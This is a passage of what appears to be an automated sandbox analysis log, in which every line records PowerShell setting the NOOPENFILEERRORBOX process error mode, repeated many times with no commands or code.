Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

